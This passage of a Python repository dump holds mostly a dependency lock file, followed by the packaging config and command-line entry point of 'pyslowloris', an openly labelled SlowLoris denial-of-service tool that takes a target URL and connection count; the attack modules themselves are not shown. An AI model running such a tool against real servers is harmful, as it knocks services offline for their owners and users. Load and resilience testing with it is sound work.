"cffi-1.17.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:706510fe141c86a69c8ddc029c7910003a17353970cff3b904ff0686a5927683"}, 71 | {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:de55b766c7aa2e2a3092c51e0483d700341182f08e67c63630d5b6f200bb28e5"}, 72 | {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c59d6e989d07460165cc5ad3c61f9fd8f1b4796eacbd81cee78957842b834af4"}, 73 | {file = "cffi-1.17.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd398dbc6773384a17fe0d3e7eeb8d1a21c2200473ee6806bb5e6a8e62bb73dd"}, 74 | {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3edc8d958eb099c634dace3c7e16560ae474aa3803a5df240542b305d14e14ed"}, 75 | {file = "cffi-1.17.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:72e72408cad3d5419375fc87d289076ee319835bdfa2caad331e377589aebba9"}, 76 | {file = "cffi-1.17.1-cp313-cp313-win32.whl", hash = "sha256:e03eab0a8677fa80d646b5ddece1cbeaf556c313dcfac435ba11f107ba117b5d"}, 77 | {file = "cffi-1.17.1-cp313-cp313-win_amd64.whl", hash = "sha256:f6a16c31041f09ead72d69f583767292f750d24913dadacf5756b966aacb3f1a"}, 78 | {file = "cffi-1.17.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:636062ea65bd0195bc012fea9321aca499c0504409f413dc88af450b57ffd03b"}, 79 | {file = "cffi-1.17.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7eac2ef9b63c79431bc4b25f1cd649d7f061a28808cbc6c47b534bd789ef964"}, 80 | {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e221cf152cff04059d011ee126477f0d9588303eb57e88923578ace7baad17f9"}, 81 | {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:31000ec67d4221a71bd3f67df918b1f88f676f1c3b535a7eb473255fdc0b83fc"}, 82 | {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f17be4345073b0a7b8ea599688f692ac3ef23ce28e5df79c04de519dbc4912c"}, 83 | {file = "cffi-1.17.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2b1fac190ae3ebfe37b979cc1ce69c81f4e4fe5746bb401dca63a9062cdaf1"}, 84 | {file = "cffi-1.17.1-cp38-cp38-win32.whl", hash = "sha256:7596d6620d3fa590f677e9ee430df2958d2d6d6de2feeae5b20e82c00b76fbf8"}, 85 | {file = "cffi-1.17.1-cp38-cp38-win_amd64.whl", hash = "sha256:78122be759c3f8a014ce010908ae03364d00a1f81ab5c7f4a7a5120607ea56e1"}, 86 | {file = "cffi-1.17.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b2ab587605f4ba0bf81dc0cb08a41bd1c0a5906bd59243d56bad7668a6fc6c16"}, 87 | {file = "cffi-1.17.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28b16024becceed8c6dfbc75629e27788d8a3f9030691a1dbf9821a128b22c36"}, 88 | {file = "cffi-1.17.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1d599671f396c4723d016dbddb72fe8e0397082b0a77a4fab8028923bec050e8"}, 89 | {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca74b8dbe6e8e8263c0ffd60277de77dcee6c837a3d0881d8c1ead7268c9e576"}, 90 | {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f7f5baafcc48261359e14bcd6d9bff6d4b28d9103847c9e136694cb0501aef87"}, 91 | {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98e3969bcff97cae1b2def8ba499ea3d6f31ddfdb7635374834cf89a1a08ecf0"}, 92 | {file = "cffi-1.17.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdf5ce3acdfd1661132f2a9c19cac174758dc2352bfe37d98aa7512c6b7178b3"}, 93 | {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:9755e4345d1ec879e3849e62222a18c7174d65a6a92d5b346b1863912168b595"}, 94 | {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f1e22e8c4419538cb197e4dd60acc919d7696e5ef98ee4da4e01d3f8cfa4cc5a"}, 95 | {file = "cffi-1.17.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:c03e868a0b3bc35839ba98e74211ed2b05d2119be4e8a0f224fba9384f1fe02e"}, 96 | {file = "cffi-1.17.1-cp39-cp39-win32.whl", hash = "sha256:e31ae45bc2e29f6b2abd0de1cc3b9d5205aa847cafaecb8af1476a609a2f6eb7"}, 97 | {file = "cffi-1.17.1-cp39-cp39-win_amd64.whl", hash = "sha256:d016c76bdd850f3c626af19b0542c9677ba156e4ee4fccfdd7848803533ef662"}, 98 | {file = "cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824"}, 99 | ] 100 | 101 | [package.dependencies] 102 | pycparser = "*" 103 | 104 | [[package]] 105 | name = "colorama" 106 | version = "0.4.6" 107 | description = "Cross-platform colored terminal text." 108 | optional = false 109 | python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" 110 | groups = ["dev"] 111 | markers = "sys_platform == \"win32\"" 112 | files = [ 113 | {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, 114 | {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, 115 | ] 116 | 117 | [[package]] 118 | name = "exceptiongroup" 119 | version = "1.2.2" 120 | description = "Backport of PEP 654 (exception groups)" 121 | optional = false 122 | python-versions = ">=3.7" 123 | groups = ["main", "dev"] 124 | markers = "python_version < \"3.11\"" 125 | files = [ 126 | {file = "exceptiongroup-1.2.2-py3-none-any.whl", hash = "sha256:3111b9d131c238bec2f8f516e123e14ba243563fb135d3fe885990585aa7795b"}, 127 | {file = "exceptiongroup-1.2.2.tar.gz", hash = "sha256:47c2edf7c6738fafb49fd34290706d1a1a2f4d1c6df275526b62cbb4aa5393cc"}, 128 | ] 129 | 130 | [package.extras] 131 | test = ["pytest (>=6)"] 132 | 133 | [[package]] 134 | name = "fake-useragent" 135 | version = "2.1.0" 136 | description = "Up-to-date simple useragent faker with real world database" 137 | optional = false 138 | python-versions = ">=3.9" 139 | groups = ["main"] 140 | files = [ 141 | {file = "fake_useragent-2.1.0-py3-none-any.whl", hash = "sha256:1363d8be4934627f80a84c21cce72d33c5da650a9f1fd7398520b1edb6ecd873"}, 142 | {file = "fake_useragent-2.1.0.tar.gz", hash = "sha256:cbb2cde0512ecefec1e6175e59d8bcc5cd94af25161432860769a4f3767ad62c"}, 143 | ] 144 | 145 | [package.dependencies] 146 | importlib-resources = {version = ">=6.0", markers = "python_version < \"3.10\""} 147 | 148 | [[package]] 149 | name = "flake8" 150 | version = "7.2.0" 151 | description = "the modular source code checker: pep8 pyflakes and co" 152 | optional = false 153 | python-versions = ">=3.9" 154 | groups = ["dev"] 155 | files = [ 156 | {file = "flake8-7.2.0-py2.py3-none-any.whl", hash = "sha256:93b92ba5bdb60754a6da14fa3b93a9361fd00a59632ada61fd7b130436c40343"}, 157 | {file = "flake8-7.2.0.tar.gz", hash = "sha256:fa558ae3f6f7dbf2b4f22663e5343b6b6023620461f8d4ff2019ef4b5ee70426"}, 158 | ] 159 | 160 | [package.dependencies] 161 | mccabe = ">=0.7.0,<0.8.0" 162 | pycodestyle = ">=2.13.0,<2.14.0" 163 | pyflakes = ">=3.3.0,<3.4.0" 164 | 165 | [[package]] 166 | name = "idna" 167 | version = "3.8" 168 | description = "Internationalized Domain Names in Applications (IDNA)" 169 | optional = false 170 | python-versions = ">=3.6" 171 | groups = ["main", "dev"] 172 | files = [ 173 | {file = "idna-3.8-py3-none-any.whl", hash = "sha256:050b4e5baadcd44d760cedbd2b8e639f2ff89bbc7a5730fcc662954303377aac"}, 174 | {file = "idna-3.8.tar.gz", hash = "sha256:d838c2c0ed6fced7693d5e8ab8e734d5f8fda53a039c0164afb0b82e771e3603"}, 175 | ] 176 | 177 | [[package]] 178 | name = "importlib-resources" 179 | version = "6.4.4" 180 | description = "Read resources from Python packages" 181 | optional = false 182 | python-versions = ">=3.8" 183 | groups = ["main"] 184 | markers = "python_version < \"3.10\"" 185 | files = [ 186 | {file = "importlib_resources-6.4.4-py3-none-any.whl", hash = "sha256:dda242603d1c9cd836c3368b1174ed74cb4049ecd209e7a1a0104620c18c5c11"}, 187 | {file = "importlib_resources-6.4.4.tar.gz", hash = "sha256:20600c8b7361938dc0bb2d5ec0297802e575df486f5a544fa414da65e13721f7"}, 188 | ] 189 | 190 | [package.dependencies] 191 | zipp = {version = ">=3.1.0", markers = "python_version < \"3.10\""} 192 | 193 | [package.extras] 194 | check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""] 195 | cover = ["pytest-cov"] 196 | doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] 197 | enabler = ["pytest-enabler (>=2.2)"] 198 | test = ["jaraco.test (>=5.4)", "pytest (>=6,!=8.1.*)", "zipp (>=3.17)"] 199 | type = ["pytest-mypy"] 200 | 201 | [[package]] 202 | name = "iniconfig" 203 | version = "2.0.0" 204 | description = "brain-dead simple config-ini parsing" 205 | optional = false 206 | python-versions = ">=3.7" 207 | groups = ["dev"] 208 | files = [ 209 | {file = "iniconfig-2.0.0-py3-none-any.whl", hash = "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"}, 210 | {file = "iniconfig-2.0.0.tar.gz", hash = "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"}, 211 | ] 212 | 213 | [[package]] 214 | name = "isort" 215 | version = "6.0.1" 216 | description = "A Python utility / library to sort Python imports." 217 | optional = false 218 | python-versions = ">=3.9.0" 219 | groups = ["dev"] 220 | files = [ 221 | {file = "isort-6.0.1-py3-none-any.whl", hash = "sha256:2dc5d7f65c9678d94c88dfc29161a320eec67328bc97aad576874cb4be1e9615"}, 222 | {file = "isort-6.0.1.tar.gz", hash = "sha256:1cb5df28dfbc742e490c5e41bad6da41b805b0a8be7bc93cd0fb2a8a890ac450"}, 223 | ] 224 | 225 | [package.extras] 226 | colors = ["colorama"] 227 | plugins = ["setuptools"] 228 | 229 | [[package]] 230 | name = "jk-exceptionhelper" 231 | version = "0.2024.1.3" 232 | description = "As the python exception API is quite a bit obscure this python module wraps around python exceptions to provide a clean interface for analysis and logging purposes." 233 | optional = false 234 | python-versions = ">=3.8" 235 | groups = ["main"] 236 | files = [ 237 | {file = "jk_exceptionhelper-0.2024.1.3-py3-none-any.whl", hash = "sha256:95a8ade21d6eae9a66a3830511b9e511ced51a2b39a6332e81ef43400249bdd1"}, 238 | {file = "jk_exceptionhelper-0.2024.1.3.tar.gz", hash = "sha256:4c507cab6cdc3b4d6a0b5fc5d7bc83dc99c7183cd3dda83092a5a822ab946474"}, 239 | ] 240 | 241 | [[package]] 242 | name = "jk-logging" 243 | version = "0.2024.1.3" 244 | description = "This is a logging framework." 245 | optional = false 246 | python-versions = ">=3.8" 247 | groups = ["main"] 248 | files = [ 249 | {file = "jk_logging-0.2024.1.3-py3-none-any.whl", hash = "sha256:53d51e7d692ee036756a171a2ac503603f055e3bf49c019854017c502bd7d66a"}, 250 | {file = "jk_logging-0.2024.1.3.tar.gz", hash = "sha256:461feb9207412e15b6f04af22acd53f46e74d4d0d4866c0e5bd5a071e08f5d57"}, 251 | ] 252 | 253 | [package.dependencies] 254 | jk_exceptionhelper = ">=0.2024.1.3" 255 | 256 | [[package]] 257 | name = "jk-triologging" 258 | version = "0.2019.10.19" 259 | description = "This is a logging framework. It is based on jk_logging but can be used with Trio." 260 | optional = false 261 | python-versions = "*" 262 | groups = ["main"] 263 | files = [ 264 | {file = "jk_triologging-0.2019.10.19.tar.gz", hash = "sha256:7cf8ea518d4008a0d79df580ce9846e7129eb37d95af93baee749fc3878772e4"}, 265 | ] 266 | 267 | [package.dependencies] 268 | jk_logging = "*" 269 | 270 | [[package]] 271 | name = "mccabe" 272 | version = "0.7.0" 273 | description = "McCabe checker, plugin for flake8" 274 | optional = false 275 | python-versions = ">=3.6" 276 | groups = ["dev"] 277 | files = [ 278 | {file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"}, 279 | {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"}, 280 | ] 281 | 282 | [[package]] 283 | name = "outcome" 284 | version = "1.3.0.post0" 285 | description = "Capture the outcome of Python function calls." 286 | optional = false 287 | python-versions = ">=3.7" 288 | groups = ["main", "dev"] 289 | files = [ 290 | {file = "outcome-1.3.0.post0-py2.py3-none-any.whl", hash = "sha256:e771c5ce06d1415e356078d3bdd68523f284b4ce5419828922b6871e65eda82b"}, 291 | {file = "outcome-1.3.0.post0.tar.gz", hash = "sha256:9dcf02e65f2971b80047b377468e72a268e15c0af3cf1238e6ff14f7f91143b8"}, 292 | ] 293 | 294 | [package.dependencies] 295 | attrs = ">=19.2.0" 296 | 297 | [[package]] 298 | name = "packaging" 299 | version = "24.1" 300 | description = "Core utilities for Python packages" 301 | optional = false 302 | python-versions = ">=3.8" 303 | groups = ["dev"] 304 | files = [ 305 | {file = "packaging-24.1-py3-none-any.whl", hash = "sha256:5b8f2217dbdbd2f7f384c41c628544e6d52f2d0f53c6d0c3ea61aa5d1d7ff124"}, 306 | {file = "packaging-24.1.tar.gz", hash = "sha256:026ed72c8ed3fcce5bf8950572258698927fd1dbda10a5e981cdf0ac37f4f002"}, 307 | ] 308 | 309 | [[package]] 310 | name = "pluggy" 311 | version = "1.5.0" 312 | description = "plugin and hook calling mechanisms for python" 313 | optional = false 314 | python-versions = ">=3.8" 315 | groups = ["dev"] 316 | files = [ 317 | {file = "pluggy-1.5.0-py3-none-any.whl", hash = "sha256:44e1ad92c8ca002de6377e165f3e0f1be63266ab4d554740532335b9d75ea669"}, 318 | {file = "pluggy-1.5.0.tar.gz", hash = "sha256:2cffa88e94fdc978c4c574f15f9e59b7f4201d439195c3715ca9e2486f1d0cf1"}, 319 | ] 320 | 321 | [package.extras] 322 | dev = ["pre-commit", "tox"] 323 | testing = ["pytest", "pytest-benchmark"] 324 | 325 | [[package]] 326 | name = "pycodestyle" 327 | version = "2.13.0" 328 | description = "Python style guide checker" 329 | optional = false 330 | python-versions = ">=3.9" 331 | groups = ["dev"] 332 | files = [ 333 | {file = "pycodestyle-2.13.0-py2.py3-none-any.whl", hash = "sha256:35863c5974a271c7a726ed228a14a4f6daf49df369d8c50cd9a6f58a5e143ba9"}, 334 | {file = "pycodestyle-2.13.0.tar.gz", hash = "sha256:c8415bf09abe81d9c7f872502a6eee881fbe85d8763dd5b9924bb0a01d67efae"}, 335 | ] 336 | 337 | [[package]] 338 | name = "pycparser" 339 | version = "2.22" 340 | description = "C parser in Python" 341 | optional = false 342 | python-versions = ">=3.8" 343 | groups = ["main", "dev"] 344 | markers = "os_name == \"nt\" and implementation_name != \"pypy\"" 345 | files = [ 346 | {file = "pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc"}, 347 | {file = "pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6"}, 348 | ] 349 | 350 | [[package]] 351 | name = "pyflakes" 352 | version = "3.3.2" 353 | description = "passive checker of Python programs" 354 | optional = false 355 | python-versions = ">=3.9" 356 | groups = ["dev"] 357 | files = [ 358 | {file = "pyflakes-3.3.2-py2.py3-none-any.whl", hash = "sha256:5039c8339cbb1944045f4ee5466908906180f13cc99cc9949348d10f82a5c32a"}, 359 | {file = "pyflakes-3.3.2.tar.gz", hash = "sha256:6dfd61d87b97fba5dcfaaf781171ac16be16453be6d816147989e7f6e6a9576b"}, 360 | ] 361 | 362 | [[package]] 363 | name = "pytest" 364 | version = "8.3.5" 365 | description = "pytest: simple powerful testing with Python" 366 | optional = false 367 | python-versions = ">=3.8" 368 | groups = ["dev"] 369 | files = [ 370 | {file = "pytest-8.3.5-py3-none-any.whl", hash = "sha256:c69214aa47deac29fad6c2a4f590b9c4a9fdb16a403176fe154b79c0b4d4d820"}, 371 | {file = "pytest-8.3.5.tar.gz", hash = "sha256:f4efe70cc14e511565ac476b57c279e12a855b11f48f212af1080ef2263d3845"}, 372 | ] 373 | 374 | [package.dependencies] 375 | colorama = {version = "*", markers = "sys_platform == \"win32\""} 376 | exceptiongroup = {version = ">=1.0.0rc8", markers = "python_version < \"3.11\""} 377 | iniconfig = "*" 378 | packaging = "*" 379 | pluggy = ">=1.5,<2" 380 | tomli = {version = ">=1", markers = "python_version < \"3.11\""} 381 | 382 | [package.extras] 383 | dev = ["argcomplete", "attrs (>=19.2)", "hypothesis (>=3.56)", "mock", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"] 384 | 385 | [[package]] 386 | name = "pytest-github-actions-annotate-failures" 387 | version = "0.3.0" 388 | description = "pytest plugin to annotate failed tests with a workflow command for GitHub Actions" 389 | optional = false 390 | python-versions = ">=3.8" 391 | groups = ["dev"] 392 | files = [ 393 | {file = "pytest_github_actions_annotate_failures-0.3.0-py3-none-any.whl", hash = "sha256:41ea558ba10c332c0bfc053daeee0c85187507b2034e990f21e4f7e5fef044cf"}, 394 | {file = "pytest_github_actions_annotate_failures-0.3.0.tar.gz", hash = "sha256:d4c3177c98046c3900a7f8ddebb22ea54b9f6822201b5d3ab8fcdea51e010db7"}, 395 | ] 396 | 397 | [package.dependencies] 398 | pytest = ">=6.0.0" 399 | 400 | [[package]] 401 | name = "pytest-trio" 402 | version = "0.8.0" 403 | description = "Pytest plugin for trio" 404 | optional = false 405 | python-versions = ">=3.7" 406 | groups = ["dev"] 407 | files = [ 408 | {file = "pytest-trio-0.8.0.tar.gz", hash = "sha256:8363db6336a79e6c53375a2123a41ddbeccc4aa93f93788651641789a56fb52e"}, 409 | {file = "pytest_trio-0.8.0-py3-none-any.whl", hash = "sha256:e6a7e7351ae3e8ec3f4564d30ee77d1ec66e1df611226e5618dbb32f9545c841"}, 410 | ] 411 | 412 | [package.dependencies] 413 | outcome = ">=1.1.0" 414 | pytest = ">=7.2.0" 415 | trio = ">=0.22.0" 416 | 417 | [[package]] 418 | name = "sh" 419 | version = "2.2.2" 420 | description = "Python subprocess replacement" 421 | optional = false 422 | python-versions = "<4.0,>=3.8.1" 423 | groups = ["main"] 424 | files = [ 425 | {file = "sh-2.2.2-py3-none-any.whl", hash = "sha256:e0b15b4ae8ffcd399bc8ffddcbd770a43c7a70a24b16773fbb34c001ad5d52af"}, 426 | {file = "sh-2.2.2.tar.gz", hash = "sha256:653227a7c41a284ec5302173fbc044ee817c7bad5e6e4d8d55741b9aeb9eb65b"}, 427 | ] 428 | 429 | [[package]] 430 | name = "sniffio" 431 | version = "1.3.1" 432 | description = "Sniff out which async library your code is running under" 433 | optional = false 434 | python-versions = ">=3.7" 435 | groups = ["main", "dev"] 436 | files = [ 437 | {file = "sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2"}, 438 | {file = "sniffio-1.3.1.tar.gz", hash = "sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc"}, 439 | ] 440 | 441 | [[package]] 442 | name = "sortedcontainers" 443 | version = "2.4.0" 444 | description = "Sorted Containers -- Sorted List, Sorted Dict, Sorted Set" 445 | optional = false 446 | python-versions = "*" 447 | groups = ["main", "dev"] 448 | files = [ 449 | {file = "sortedcontainers-2.4.0-py2.py3-none-any.whl", hash = "sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0"}, 450 | {file = "sortedcontainers-2.4.0.tar.gz", hash = "sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88"}, 451 | ] 452 | 453 | [[package]] 454 | name = "tomli" 455 | version = "2.0.1" 456 | description = "A lil' TOML parser" 457 | optional = false 458 | python-versions = ">=3.7" 459 | groups = ["dev"] 460 | markers = "python_version < \"3.11\"" 461 | files = [ 462 | {file = "tomli-2.0.1-py3-none-any.whl", hash = "sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc"}, 463 | {file = "tomli-2.0.1.tar.gz", hash = "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"}, 464 | ] 465 | 466 | [[package]] 467 | name = "trio" 468 | version = "0.29.0" 469 | description = "A friendly Python library for async concurrency and I/O" 470 | optional = false 471 | python-versions = ">=3.9" 472 | groups = ["main", "dev"] 473 | files = [ 474 | {file = "trio-0.29.0-py3-none-any.whl", hash = "sha256:d8c463f1a9cc776ff63e331aba44c125f423a5a13c684307e828d930e625ba66"}, 475 | {file = "trio-0.29.0.tar.gz", hash = "sha256:ea0d3967159fc130acb6939a0be0e558e364fee26b5deeecc893a6b08c361bdf"}, 476 | ] 477 | 478 | [package.dependencies] 479 | attrs = ">=23.2.0" 480 | cffi = {version = ">=1.14", markers = "os_name == \"nt\" and implementation_name != \"pypy\""} 481 | exceptiongroup = {version = "*", markers = "python_version < \"3.11\""} 482 | idna = "*" 483 | outcome = "*" 484 | sniffio = ">=1.3.0" 485 | sortedcontainers = "*" 486 | 487 | [[package]] 488 | name = "zipp" 489 | version = "3.20.1" 490 | description = "Backport of pathlib-compatible object wrapper for zip files" 491 | optional = false 492 | python-versions = ">=3.8" 493 | groups = ["main"] 494 | markers = "python_version < \"3.10\"" 495 | files = [ 496 | {file = "zipp-3.20.1-py3-none-any.whl", hash = "sha256:9960cd8967c8f85a56f920d5d507274e74f9ff813a0ab8889a5b5be2daf44064"}, 497 | {file = "zipp-3.20.1.tar.gz", hash = "sha256:c22b14cc4763c5a5b04134207736c107db42e9d3ef2d9779d465f5f1bcba572b"}, 498 | ] 499 | 500 | [package.extras] 501 | check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\""] 502 | cover = ["pytest-cov"] 503 | doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] 504 | enabler = ["pytest-enabler (>=2.2)"] 505 | test = ["big-O", "importlib-resources ; python_version < \"3.9\"", "jaraco.functools", "jaraco.itertools", "jaraco.test", "more-itertools", "pytest (>=6,!=8.1.*)", "pytest-ignore-flaky"] 506 | type = ["pytest-mypy"] 507 | 508 | [metadata] 509 | lock-version = "2.1" 510 | python-versions = "^3.9" 511 | content-hash = "831ce094339e9320d1a57aa86f64e37cf047885bf0d2c49c2348acaf2532a914" 512 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "pyslowloris" 3 | version = "2.0.3" 4 | description = "Asynchronous Python implementation of SlowLoris DoS attack" 5 | authors = ["Maxim Krivich "] 6 | license = "MIT" 7 | readme = "README.md" 8 | homepage = "https://github.com/maxkrivich/SlowLoris" 9 | repository = "https://github.com/maxkrivich/SlowLoris" 10 | packages = [ 11 | { include = "pyslowloris", from="." } 12 | ] 13 | 14 | keywords = [ 15 | "SlowLoris", "dos", "slowloris", "apache", "dos-attacks", "denial-of-service", "http", 16 | "exploit", "dos-tool", "hacker-scripts", "hacking-tool", "hacking", "vulnerability", "slow-requests", 17 | "cybersecurity", "cyber-security", "information-security", "security" 18 | ] 19 | 20 | classifiers = [ 21 | "Natural Language :: English", 22 | "Intended Audience :: End Users/Desktop", 23 | "Intended Audience :: Developers", 24 | "Intended Audience :: System Administrators", 25 | "License :: OSI Approved :: MIT License", 26 | "Programming Language :: Python :: 3", 27 | "Programming Language :: Python :: 3.9", 28 | "Programming Language :: Python :: 3.10", 29 | "Programming Language :: Python :: 3.11", 30 | "Programming Language :: Python :: 3.12", 31 | ] 32 | 33 | [tool.poetry.dependencies] 34 | python = "^3.9" 35 | fake-useragent = ">=0.1.11,<2.2.0" 36 | trio = ">=0.16,<0.30" 37 | jk-triologging = "^0.2019.10" 38 | sh = ">=1.14,<3.0" 39 | 40 | [tool.poetry.dev-dependencies] 41 | pytest = "^8.3.5" 42 | flake8 = "^7.2.0" 43 | pytest-trio = "^0.8.0" 44 | isort = "^6.0.1" 45 | 46 | [tool.poetry.group.dev.dependencies] 47 | pytest-github-actions-annotate-failures = ">=0.2,<0.4" 48 | 49 | [tool.pytest.ini_options] 50 | minversion = "6.0.1" 51 | addopts = "-ra -q -v" 52 | trio_mode = "true" 53 | testpaths = [ 54 | "tests" 55 | ] 56 | 57 | [tool.isort] 58 | atomic = true 59 | lines_after_imports = 2 60 | lines_between_types = 1 61 | multi_line_output = 3 62 | 63 | [tool.poetry.urls] 64 | "Bug Tracker" = "https://github.com/maxkrivich/SlowLoris/issues" 65 | 66 | [tool.poetry.scripts] 67 | slowloris = "pyslowloris.__main__:main" 68 | 69 | [build-system] 70 | requires = ["poetry>=1.0"] 71 | -------------------------------------------------------------------------------- /pyslowloris/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | MIT License 3 | 4 | Copyright (c) 2017 Maxim Krivich 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | """ 24 | from .uri_info import HostAddress 25 | from .connection import SlowLorisConnection 26 | from .attack import SlowLorisAttack 27 | -------------------------------------------------------------------------------- /pyslowloris/__main__.py: -------------------------------------------------------------------------------- 1 | """ 2 | MIT License 3 | 4 | Copyright (c) 2017 Maxim Krivich 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | """ 24 | import argparse 25 | import sys 26 | 27 | from pyslowloris import HostAddress, SlowLorisAttack 28 | 29 | 30 | def _parse_args() -> dict: 31 | parser = argparse.ArgumentParser( 32 | add_help=True, 33 | description="Asynchronous Python implementation of SlowLoris attack" 34 | ) 35 | parser.add_argument( 36 | "-u", "--url", action="store", type=str, required=True, 37 | help="Link to a web server (http://google.com) - str" 38 | ) 39 | # 247 is magic number to prevent OSError: [Errno 24] Too many open files 40 | parser.add_argument( 41 | "-c", "--connection-count", default=247, action="store", type=int, 42 | help="Count of active connections (default value is 247) - int" 43 | ) 44 | parser.add_argument( 45 | "-s", "--silent", action='store_true', 46 | help="Ignore all of the errors [pure attack 